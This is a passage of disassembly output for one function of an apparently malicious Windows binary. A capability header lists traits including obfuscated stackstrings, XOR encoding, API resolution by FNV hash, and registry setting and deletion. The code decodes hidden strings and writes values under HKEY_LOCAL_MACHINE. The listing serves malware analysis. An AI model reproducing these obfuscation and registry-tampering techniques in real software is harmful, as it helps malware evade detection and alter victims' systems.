Function at 0x140051db0
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Delete registry key
Encode data using xor
Execute command
Hash data using fnv
Resolve function by fnv-1a hash
Resolve function by parsing pe exports
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x130]
sub rsp, 0x230
mov rax, qword [0x14015e098]
xor rax, rsp
mov qword [rbp + 0x120], rax
movdqa xmm0, xmmword [0x140149490]
movdqu xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x60], 0x31203522
mov byte [rsp + 0x64], 0
xor ebx, ebx
mov ecx, ebx
nop word [rax + rax]
movzx eax, byte [rsp + 0x50]
xor byte [rsp + rcx + 0x51], al
inc rcx
cmp rcx, 0x13
jb 0x140051e10
mov byte [rsp + 0x64], bl
lea rax, [0x14084f5e8]
cmp qword [reloc.WS2_32.dll_ntohs], 0x10
cmovae rax, qword [0x14084f5e8]
lea r8, [rsp + 0x51]
sub r8, rax
nop word [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140051e63
inc rax
test ecx, ecx
jne 0x140051e50
test edx, edx
jne 0x1400537fb
cmp dword [0x140850e00], 0xd92
jne 0x1400537fb
call fcn.140050a00
mov rdi, rax
mov dl, 0x46
mov dword [rbp - 0x10], 0x150046
mov dword [rbp - 0xc], 9
mov dword [rbp - 8], 0x110012
mov dword [rbp - 4], 0x140007
mov dword [rbp], 0x1a0003
mov dword [rbp + 4], 0x2f000b
mov dword [rbp + 8], 0x340025
mov dword [rbp + 0xc], 0x350029
mov dword [rbp + 0x10], 0x200029
mov dword [rbp + 0x14], 0x1a0032
mov dword [rbp + 0x18], 0x340005
mov dword [rbp + 0x1c], 0x36003f
mov dword [rbp + 0x20], 0x290032
mov dword [rbp + 0x24], 0x340021
mov dword [rbp + 0x28], 0x360027
mov dword [rbp + 0x2c], 0x3f002e
mov word [rbp + 0x30], bx
mov rcx, rbx
nop dword [rax]
movsx eax, dl
xor word [rbp + rcx*2 - 0xe], ax
inc rcx
cmp rcx, 0x1f
jae 0x140051f17
movzx edx, byte [rbp - 0x10]
jmp 0x140051f00
mov word [rbp + 0x30], bx
mov cl, 3
mov word [rsp + 0x50], 3
movsx edx, cl
movzx eax, dx
xor ax, 0x4e
mov word [rsp + 0x52], ax
movzx eax, dx
xor ax, 0x62
mov word [rsp + 0x54], ax
movzx eax, dx
xor ax, 0x60
mov word [rsp + 0x56], ax
movzx eax, dx
xor ax, 0x6b
mov word [rsp + 0x58], ax
movzx ecx, dx
xor cx, 0x6a
mov word [rsp + 0x5a], cx
movzx eax, dx
xor ax, 0x6d
mov word [rsp + 0x5c], ax
movzx eax, dx
xor ax, 0x66
mov word [rsp + 0x5e], ax
movzx eax, dx
xor ax, 0x44
mov word [rsp + 0x60], ax
movzx eax, dx
xor ax, 0x76
mov word [rsp + 0x62], ax
mov word [rsp + 0x64], cx
xor dx, 0x67
mov word [rsp + 0x66], dx
mov word [rsp + 0x68], bx
lea rax, [rbp - 0x68]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, [rbp - 0xe]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rsi, 0xffffffffffffffff
lea ecx, [rsi + 2]
test eax, eax
jne 0x140052019
mov rax, rsi
nop word [rax + rax]
lea rax, [rax + 1]
cmp word [rdi + rax*2], bx
jne 0x140051fe0
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, ecx
xor r8d, r8d
lea rdx, [rsp + 0x52]
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call fcn.140051300
mov rdi, rax
mov dl, 0x5e
mov dword [rbp - 0x10], 0xd005e
mov dword [rbp - 0xc], 0xd0007
mov dword [rbp - 8], 0x1b000a
mov dword [rbp - 4], 0x20013
mov r8d, 2
mov dword [rbp], 0x2b001d
mov dword [rbp + 4], 0x2c002c
mov dword [rbp + 8], 0x30003b
mov dword [rbp + 0xc], 0x1d002a
mov dword [rbp + 0x10], 0x300031
mov dword [rbp + 0x14], 0x2c002a
mov dword [rbp + 0x18], 0x320031
mov dword [rbp + 0x1c], 0x3b000d
mov dword [rbp + 0x20], 0x2002a
mov dword [rbp + 0x24], 0x31001d
mov dword [rbp + 0x28], 0x2a0030
mov dword [rbp + 0x2c], 0x31002c
mov dword [rbp + 0x30], 0x20032
mov dword [rbp + 0x34], 0x27000d
mov dword [rbp + 0x38], 0x2a002d
mov dword [rbp + 0x3c], 0x33003b
mov dword [rbp + 0x40], 0x300017
mov dword [rbp + 0x44], 0x310038
mov dword [rbp + 0x48], 0x33002c
mov dword [rbp + 0x4c], 0x2a003f
mov dword [rbp + 0x50], 0x310037
mov dword [rbp + 0x54], Ordinal_50
mov rcx, rbx
movsx eax, dl
xor word [rbp + rcx*2 - 0xe], ax
movsx eax, byte [rbp - 0x10]
xor word [rbp + rcx*2 - 0xc], ax
add rcx, r8
cmp rcx, 0x32
jae 0x140052102
movzx edx, byte [rbp - 0x10]
jmp 0x1400520e2
mov word [rbp + 0x56], bx
mov al, 0x71
mov dword [rsp + 0x50], 0x320071
mov dword [rsp + 0x54], 0x1c001e
mov dword [rsp + 0x58], 0x40001
mov dword [rsp + 0x5c], 0x140005
mov dword [rsp + 0x60], 0x390003
mov dword [rsp + 0x64], 0x30010
mov dword [rsp + 0x68], 0x60015
mov dword [rsp + 0x6c], 0x30010
mov dword [rsp + 0x70], 0x380014
mov dword [rsp + 0x74], reloc.WS2_32.dll_setsockopt
mov rcx, rbx
nop dword [rax + rax]
movsx eax, al
xor word [rsp + rcx*2 + 0x52], ax
inc rcx
cmp rcx, 0x12
jae 0x140052178
movzx eax, byte [rsp + 0x50]
jmp 0x140052160
mov word [rsp + 0x76], bx
lea rax, [rbp - 0x60]
mov qword [rsp + 0x20], rax
mov r9d, r8d
xor r8d, r8d
lea rdx, [rbp - 0xe]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1400521e5
mov rax, rsi
lea rax, [rax + 1]
cmp word [rdi + rax*2], bx
jne 0x1400521a4
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r15d, 1
mov r9d, r15d
xor r8d, r8d
lea rdx, [rsp + 0x52]
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x1400521eb
mov r15d, 1
call fcn.140051300
mov rdi, rax
lea rdx, [rbp - 0x10]
call fcn.140053830
mov r8, rax
lea r10, [rax + 2]
lea rdx, [rax + 4]
mov r9d, Ordinal_41
nop dword [rax]
movsx ecx, byte [r8]
xor word [rdx - 2], cx
movsx ecx, byte [r8]
xor word [rdx], cx
mov rcx, rdx
sub rcx, r8
movsx eax, byte [r8]
xor word [r10 + rcx], ax
add rdx, 6
sub r9, 1
jne 0x140052210
mov word [r10 + 0xde], bx
mov al, 0x33
mov dword [rsp + 0x50], 0x630033
mov dword [rsp + 0x54], 0x5c0041
mov dword [rsp + 0x58], 0x560043
mov dword [rsp + 0x5c], 0x470041
mov dword [rsp + 0x60], 0x74004a
mov dword [rsp + 0x64], 0x5a0046
mov dword [rsp + 0x68], 0x57
mov rcx, rbx
nop dword [rax]
movsx eax, al
xor word [rsp + rcx*2 + 0x52], ax
inc rcx
cmp rcx, 0xc
jae 0x140052298
movzx eax, byte [rsp + 0x50]
jmp 0x140052280
mov word [rsp + 0x6a], bx
lea rax, [rbp - 0x58]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
mov rdx, r10
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1400522ff
mov rax, rsi
lea rax, [rax + 1]
cmp word [rdi + rax*2], bx
jne 0x1400522c6
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, r15d
xor r8d, r8d
lea rdx, [rsp + 0x52]
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call fcn.140051300
mov rdi, rax
lea rdx, [rbp - 0x10]
call fcn.140053a40
mov r8, rax
lea r10, [rax + 2]
lea rdx, [rax + 4]
mov r11d, 6
sub r11, rax
mov r9d, reloc.WS2_32.dll_select
nop word [rax + rax]
movsx ecx, byte [r8]
xor word [rdx - 2], cx
movsx ecx, byte [r8]
xor word [rdx], cx
movsx eax, byte [r8]
xor word [rdx + 2], ax
movsx eax, byte [r8]
xor word [rdx + 4], ax
movsx eax, byte [r8]
xor word [rdx + 6], ax
lea rcx, [r11 + rdx]
movsx eax, byte [r8]
xor word [r10 + rcx], ax
lea rdx, [rdx + 0xc]
sub r9, 1
jne 0x140052330
mov word [r10 + 0xd8], bx
mov al, 0x6a
mov dword [rsp + 0x50], 0x3a006a
mov dword [rsp + 0x54], 0x50018
mov dword [rsp + 0x58], 0xf001a
mov dword [rsp + 0x5c], 0x1e0018
mov dword [rsp + 0x60], 0x2d0013
mov dword [rsp + 0x64], 0x3001f
mov dword [rsp + 0x68], reloc.WS2_32.dll_ntohl
mov rcx, rbx
nop dword [rax]
nop word [rax + rax]
movsx eax, al
xor word [rsp + rcx*2 + 0x52], ax
inc rcx
cmp rcx, 0xc
jae 0x1400523d8
movzx eax, byte [rsp + 0x50]
jmp 0x1400523c0
mov word [rsp + 0x6a], bx
lea rax, [rbp - 0x50]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
mov rdx, r10
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14005243f
mov rax, rsi
lea rax, [rax + 1]
cmp word [rdi + rax*2], bx
jne 0x140052406
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, r15d
xor r8d, r8d
lea rdx, [rsp + 0x52]
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call fcn.140051300
mov rdi, rax
lea rdx, [rbp - 0x10]
call fcn.140053c40
mov r8, rax
lea r10, [rax + 2]
lea rdx, [rax + 4]
mov r11d, 2
sub r11, rax
mov r9d, reloc.WLDAP32.dll_Ordinal_26
nop word [rax + rax]
movsx ecx, byte [r8]
xor word [rdx - 2], cx
movsx ecx, byte [r8]
xor word [rdx], cx
movsx eax, byte [r8]
xor word [rdx + 2], ax
lea rcx, [r11 + rdx]
movsx eax, byte [r8]
xor word [r10 + rcx], ax
lea rdx, [rdx + 8]
sub r9, 1
jne 0x140052470
mov word [r10 + 0xd0], bx
mov al, Ordinal_50
mov dword [rsp + 0x50], 0x610031
mov dword [rsp + 0x54], 0x5e0043
mov dword [rsp + 0x58], 0x540041
mov dword [rsp + 0x5c], 0x450043
mov dword [rsp + 0x60], 0x760048
mov dword [rsp + 0x64], 0x580044
mov dword [rsp + 0x68], 0x55
mov rcx, rbx
nop dword [rax]
nop word [rax + rax]
movsx eax, al
xor word [rsp + rcx*2 + 0x52], ax
inc rcx
cmp rcx, 0xc
jae 0x140052508
movzx eax, byte [rsp + 0x50]
jmp 0x1400524f0
mov word [rsp + 0x6a], bx
lea rax, [rbp - 0x48]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
mov rdx, r10
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14005256f
mov rax, rsi
lea rax, [rax + 1]
cmp word [rdi + rax*2], bx
jne 0x140052536
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, r15d
xor r8d, r8d
lea rdx, [rsp + 0x52]
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call fcn.140051300
mov rdi, rax
mov dl, 0x7b
mov dword [rbp - 0x10], 0x28007b
mov dword [rbp - 0xc], 0x280022
mov dword [rbp - 8], 0x3e002f
mov dword [rbp - 4], 0x270036
mov dword [rbp], 0xe0038
mov dword [rbp + 4], 0x90009
mov dword [rbp + 8], 0x15001e
mov dword [rbp + 0xc], 0x38000f
mov dword [rbp + 0x10], 0x150014
mov dword [rbp + 0x14], 0x9000f
mov dword [rbp + 0x18], 0x170014
mov dword [rbp + 0x1c], 0x1e0028
mov dword [rbp + 0x20], 0x27000f
mov dword [rbp + 0x24], 0x140038
mov dword [rbp + 0x28], 0xf0015
mov dword [rbp + 0x2c], 0x140009
mov dword [rbp + 0x30], 0x270017
mov dword [rbp + 0x34], 0x3f0032
mov dword [rbp + 0x38], 0x140038
mov dword [rbp + 0x3c], 0x1d0015
mov dword [rbp + 0x40], 0x1c0012
mov dword [rbp + 0x44], 0x39003f
mov dword [rbp + 0x48], 0x330027
mov dword [rbp + 0x4c], 0x9001a
mov dword [rbp + 0x50], 0xc001f
mov dword [rbp + 0x54], 0x9001a
mov dword [rbp + 0x58], 0x5b001e
mov dword [rbp + 0x5c], 0x9002b
mov dword [rbp + 0x60], 0x1d0014
mov dword [rbp + 0x64], 0x170012
mov dword [rbp + 0x68], 0x8001e
mov dword [rbp + 0x6c], 0x4b0027
mov dword [rbp + 0x70], 0x4b004b
mov dword [rbp + 0x74], Ordinal_79
mov rcx, rbx
nop word [rax + rax]
movsx eax, dl
xor word [rbp + rcx*2 - 0xe], ax
movsx eax, byte [rbp - 0x10]
xor word [rbp + rcx*2 - 0xc], ax
add rcx, 2
cmp rcx, 0x42
jae 0x140052691
movzx edx, byte [rbp - 0x10]
jmp 0x140052670
mov word [rbp + 0x76], bx
mov al, 0x71
mov dword [rsp + 0x50], 0x390071
mov dword [rsp + 0x54], 0x210006
mov dword [rsp + 0x58], 0x1e0003
mov dword [rsp + 0x5c], 0x180017
mov dword [rsp + 0x60], 0x14001d
mov dword [rsp + 0x64], 0x40036
mov dword [rsp + 0x68], 0x150018
mov word [rsp + 0x6c], bx
mov rcx, rbx
nop word [rax + rax]
movsx eax, al
xor word [rsp + rcx*2 + 0x52], ax
inc rcx
cmp rcx, 0xd
jae 0x1400526f8
movzx eax, byte [rsp + 0x50]
jmp 0x1400526e0
mov word [rsp + 0x6c], bx
lea rax, [rbp - 0x40]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, [rbp - 0xe]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140052771
mov rax, rsi
nop word [rax + rax]
lea rax, [rax + 1]
cmp word [rdi + rax*2], bx
jne 0x140052730
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r12d, 1
mov r9d, r12d
xor r8d, r8d
lea rdx, [rsp + 0x52]
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x140052777
mov r12d, 1
call fcn.140051300
mov rdi, rax
mov dl, 0x6b
mov dword [rbp - 0x10], 0x38006b
mov dword [rbp - 0xc], 0x380032
mov dword [rbp - 8], 0x2e003f
mov dword [rbp - 4], 0x370026
mov dword [rbp], 0xa0023
mov dword [rbp + 4], 0xf0019
mov dword [rbp + 8], 0xa001c
mov dword [rbp + 0xc], 0xe0019
mov dword [rbp + 0x10], 0x40028
mov dword [rbp + 0x14], 0xd0005
mov r8d, 2
mov dword [rbp + 0x18], 0xc0002
mov word [rbp + 0x1c], bx
mov rcx, rbx
nop dword [rax + rax]
movsx eax, dl
xor word [rbp + rcx*2 - 0xe], ax
inc rcx
cmp rcx, 0x15
jae 0x1400527f7
movzx edx, byte [rbp - 0x10]
jmp 0x1400527e0
mov word [rbp + 0x1c], bx
mov cl, 0x53
mov word [rsp + 0x50], 0x53
movzx eax, cl
xor al, 0x1f
movsx eax, al
mov word [rsp + 0x52], ax
movzx eax, cl
xor al, 0x32
movsx eax, al
mov word [rsp + 0x54], ax
movzx eax, cl
xor al, 0x20
movsx eax, al
mov word [rsp + 0x56], ax
movzx eax, cl
xor al, 0x27
movsx eax, al
mov word [rsp + 0x58], ax
movzx eax, cl
xor al, 0x10
movsx eax, al
mov word [rsp + 0x5a], ax
movzx eax, cl
xor al, 0x3c
movsx eax, al
mov word [rsp + 0x5c], ax
movzx eax, cl
xor al, 0x3d
movsx eax, al
mov word [rsp + 0x5e], ax
movzx eax, cl
xor al, 0x35
movsx eax, al
mov word [rsp + 0x60], ax
movzx eax, cl
xor al, 0x3a
movsx eax, al
mov word [rsp + 0x62], ax
xor cl, 0x34
movsx eax, cl
mov word [rsp + 0x64], ax
mov word [rsp + 0x66], bx
lea rax, [rbp - 0x38]
mov qword [rsp + 0x20], rax
mov r9d, r8d
xor r8d, r8d
lea rdx, [rbp - 0xe]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1400528e9
mov rax, rsi
lea rax, [rax + 1]
cmp word [rdi + rax*2], bx
jne 0x1400528b0
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, r12d
xor r8d, r8d
lea rdx, [rsp + 0x52]
mov rcx, qword [rbp - 0x38]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp - 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call fcn.140050a00
mov rdi, rax
mov dl, reloc.WS2_32.dll_ntohs
mov dword [rbp - 0x10], 0x5c000f
mov dword [rbp - 0xc], 0x490040
mov dword [rbp - 8], 0x58005b
mov dword [rbp - 4], 0x5d004e
mov dword [rbp], 0x53004a
mov dword [rbp + 4], 0x660042
mov dword [rbp + 8], 0x7d006c
mov dword [rbp + 0xc], 0x7c0060
mov dword [rbp + 0x10], 0x690060
mov dword [rbp + 0x14], 0x53007b
mov dword [rbp + 0x18], 0x660058
mov dword [rbp + 0x1c], 0x6b0061
mov dword [rbp + 0x20], 0x780060
mov dword [rbp + 0x24], 0x53007c
mov dword [rbp + 0x28], 0x7a004c
mov dword [rbp + 0x2c], 0x7d007d
mov dword [rbp + 0x30], 0x61006a
mov dword [rbp + 0x34], 0x59007b
mov dword [rbp + 0x38], 0x7d006a
mov dword [rbp + 0x3c], 0x66007c
mov dword [rbp + 0x40], 0x610060
mov dword [rbp + 0x44], 0x580053
mov dword [rbp + 0x48], 0x610066
mov dword [rbp + 0x4c], 0x60006b
mov dword [rbp + 0x50], 0x7c0078
mov dword [rbp + 0x54], 0x7f005a
mov dword [rbp + 0x58], 0x6e006b
mov dword [rbp + 0x5c], 0x6a007b
mov word [rbp + 0x60], bx
mov rcx, rbx
nop
movsx eax, dl
xor word [rbp + rcx*2 - 0xe], ax
inc rcx
cmp rcx, 0x37
jae 0x1400529d7
movzx edx, byte [rbp - 0x10]
jmp 0x1400529c0
mov word [rbp + 0x60], bx
mov cl, 0x5e
mov word [rsp + 0x50], 0x5e
movsx ecx, cl
movzx eax, cx
xor ax, 0xd
mov word [rsp + 0x52], ax
movzx eax, cx
xor ax, 0x2b
mov word [rsp + 0x54], ax
movzx eax, cx
xor ax, 0x2d
mov word [rsp + 0x56], ax
movzx eax, cx
xor ax, 0x1d
mov word [rsp + 0x58], ax
movzx eax, cx
xor ax, 0x32
mov word [rsp + 0x5a], ax
movzx eax, cx
xor ax, 0x37
mov word [rsp + 0x5c], ax
movzx eax, cx
xor ax, 0x3b
mov word [rsp + 0x5e], ax
movzx eax, cx
xor ax, 0x30
mov word [rsp + 0x60], ax
movzx eax, cx
xor ax, 0x2a
mov word [rsp + 0x62], ax
movzx eax, cx
xor ax, 0x17
mov word [rsp + 0x64], ax
xor cx, 0x3a
mov word [rsp + 0x66], cx
mov word [rsp + 0x68], bx
lea rax, [rbp - 0x30]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, [rbp - 0xe]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140052ae1
mov rax, rsi
nop word [rax + rax]
lea rax, [rax + 1]
cmp word [rdi + rax*2], bx
jne 0x140052aa0
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r14d, 1
mov r9d, r14d
xor r8d, r8d
lea rdx, [rsp + 0x52]
mov rcx, qword [rbp - 0x30]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp - 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x140052ae7
mov r14d, 1
call fcn.140050a00
mov rdi, rax
mov dl, 0x7a
mov dword [rbp - 0x10], 0x29007a
mov dword [rbp - 0xc], 0x3c0035
mov dword [rbp - 8], 0x2d002e
mov dword [rbp - 4], 0x28003b
mov dword [rbp], 0x26003f
mov dword [rbp + 4], 0x130037
mov dword [rbp + 8], 0x80019
mov dword [rbp + 0xc], 0x90015
mov dword [rbp + 0x10], 0x1c0015
mov dword [rbp + 0x14], 0x26000e
mov dword [rbp + 0x18], 0x13002d
mov dword [rbp + 0x1c], 0x1e0014
mov dword [rbp + 0x20], 0xd0015
mov dword [rbp + 0x24], 0x5a0009
mov dword [rbp + 0x28], 0x2e0034
mov dword [rbp + 0x2c], 0x390026
mov dword [rbp + 0x30], 0x8000f
mov dword [rbp + 0x34], 0x1f0008
mov dword [rbp + 0x38], 0xe0014
mov dword [rbp + 0x3c], 0x1f002c
mov dword [rbp + 0x40], 0x90008
mov dword [rbp + 0x44], 0x150013
mov dword [rbp + 0x48], reloc.WS2_32.dll_sendto
mov rcx, rbx
nop word [rax + rax]
movsx eax, dl
xor word [rbp + rcx*2 - 0xe], ax
movsx eax, byte [rbp - 0x10]
xor word [rbp + rcx*2 - 0xc], ax
add rcx, 2
cmp rcx, 0x2c
jae 0x140052bc1
movzx edx, byte [rbp - 0x10]
jmp 0x140052ba0
mov word [rbp + 0x4a], bx
mov cl, WSAGetLastError
mov word [rsp + 0x50], WSASetLastError
movsx ecx, cl
movzx eax, cx
xor ax, 0x2c
mov word [rsp + 0x52], ax
movzx eax, cx
xor ax, 0x1b
mov word [rsp + 0x54], ax
movzx eax, cx
xor ax, 7
mov word [rsp + 0x56], ax
movzx eax, cx
xor ax, 2
mov word [rsp + 0x58], ax
movzx eax, cx
xor ax, 0xa
mov word [rsp + 0x5a], ax
movzx eax, cx
xor ax, 0x29
mov word [rsp + 0x5c], ax
movzx eax, cx
xor ax, 0x3b
mov word [rsp + 0x5e], ax
movzx eax, cx
xor ax, 0x27
mov word [rsp + 0x60], ax
xor cx, 0x2a
mov word [rsp + 0x62], cx
mov word [rsp + 0x64], bx
lea rax, [rbp - 0x28]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, [rbp - 0xe]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140052ca9
mov rax, rsi
nop dword [rax]
lea rax, [rax + 1]
cmp word [rdi + rax*2], bx
jne 0x140052c70
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, r14d
xor r8d, r8d
lea rdx, [rsp + 0x52]
mov rcx, qword [rbp - 0x28]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp - 0x28]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rbp - 0x80], rbx
mov al, Ordinal_45
mov dword [rbp - 0x10], 0x7f002c
mov dword [rbp - 0xc], 0x7f0075
mov dword [rbp - 8], 0x690078
mov dword [rbp - 4], 0x700061
mov dword [rbp], 0x59006f
mov dword [rbp + 4], 0x5e005e
mov dword [rbp + 8], 0x420049
mov dword [rbp + 0xc], 0x6f0058
mov dword [rbp + 0x10], 0x420043
mov dword [rbp + 0x14], 0x5e0058
mov dword [rbp + 0x18], 0x400043
mov dword [rbp + 0x1c], 0x49007f
mov dword [rbp + 0x20], 0x700058
mov dword [rbp + 0x24], 0x43006f
mov dword [rbp + 0x28], 0x580042
mov dword [rbp + 0x2c], 0x43005e
mov dword [rbp + 0x30], 0x700040
mov dword [rbp + 0x34], 0x490062
mov dword [rbp + 0x38], 0x5b0058
mov dword [rbp + 0x3c], 0x5e0043
mov dword [rbp + 0x40], 0x6a0047
mov dword [rbp + 0x44], 0x54
mov rcx, rbx
nop dword [rax]
movsx eax, al
xor word [rbp + rcx*2 - 0xe], ax
movsx eax, byte [rbp - 0x10]
xor word [rbp + rcx*2 - 0xc], ax
add rcx, 2
cmp rcx, 0x2a
jae 0x140052d71
movzx eax, byte [rbp - 0x10]
jmp 0x140052d50
mov word [rbp + 0x46], bx
lea rax, [rbp - 0x80]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
lea rdx, [rbp - 0xe]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, 2
jne 0x140052ddd
mov qword [rsp + 0x40], rbx
lea rax, [rbp - 0x80]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp - 0xe]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rbp - 0x78], rbx
mov al, reloc.WS2_32.dll_setsockopt
mov dword [rbp - 0x10], 0x460015
mov dword [rbp - 0xc], 0x46004c
mov dword [rbp - 8], 0x500041
mov dword [rbp - 4], 0x490058
mov dword [rbp], 0x600056
mov dword [rbp + 4], 0x670067
mov dword [rbp + 8], 0x7b0070
mov dword [rbp + 0xc], 0x560061
mov dword [rbp + 0x10], 0x7b007a
mov dword [rbp + 0x14], 0x670061
mov dword [rbp + 0x18], 0x79007a
mov dword [rbp + 0x1c], 0x700046
mov dword [rbp + 0x20], 0x490061
mov dword [rbp + 0x24], 0x7a0056
mov dword [rbp + 0x28], 0x61007b
mov dword [rbp + 0x2c], 0x7a0067
mov dword [rbp + 0x30], 0x490079
mov dword [rbp + 0x34], 0x25006e
mov dword [rbp + 0x38], 0x700020
mov dword [rbp + 0x3c], 0x2d0022
mov dword [rbp + 0x40], 0x2d0025
mov dword [rbp + 0x44], 0x380070
mov dword [rbp + 0x48], 0x200070
mov dword [rbp + 0x4c], 0x2d0077
mov dword [rbp + 0x50], 0x210038
mov dword [rbp + 0x54], 0x760027
mov dword [rbp + 0x58], 0x38002c
mov dword [rbp + 0x5c], 0x2d002d
mov dword [rbp + 0x60], 0x710025
mov dword [rbp + 0x64], 0x730038
mov dword [rbp + 0x68], 0x22002d
mov dword [rbp + 0x6c], 0x210076
mov dword [rbp + 0x70], 0x230026
mov dword [rbp + 0x74], 0x760077
mov dword [rbp + 0x78], 0x710027
mov dword [rbp + 0x7c], 0x680071
mov word [rbp + 0x80], bx
mov rcx, rbx
mov r13d, 0x50
nop
movsx eax, al
xor word [rbp + rcx*2 - 0xe], ax
inc rcx
cmp rcx, 0x47
jae 0x140052f07
movzx eax, byte [rbp - 0x10]
jmp 0x140052ef0
mov word [rbp + 0x80], bx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
lea rdx, [rbp - 0xe]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, 2
jne 0x140052f76
mov qword [rsp + 0x40], rbx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp - 0xe]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rbp - 0x70], rbx
mov al, 0x55
mov dword [rbp - 0x10], 0x60055
mov dword [rbp - 0xc], 0x13001a
mov dword [rbp - 8], 0x20001
mov dword [rbp - 4], 0x70014
mov dword [rbp], 0x90010
mov dword [rbp + 4], 0x3c0018
mov dword [rbp + 8], 0x270036
mov dword [rbp + 0xc], 0x26003a
mov dword [rbp + 0x10], 0x33003a
mov dword [rbp + 0x14], 0x90021
mov dword [rbp + 0x18], 0x3c0002
mov dword [rbp + 0x1c], 0x31003b
mov dword [rbp + 0x20], 0x22003a
mov dword [rbp + 0x24], 0x750026
mov dword [rbp + 0x28], 0x1001b
mov dword [rbp + 0x2c], 0x160009
mov dword [rbp + 0x30], 0x270020
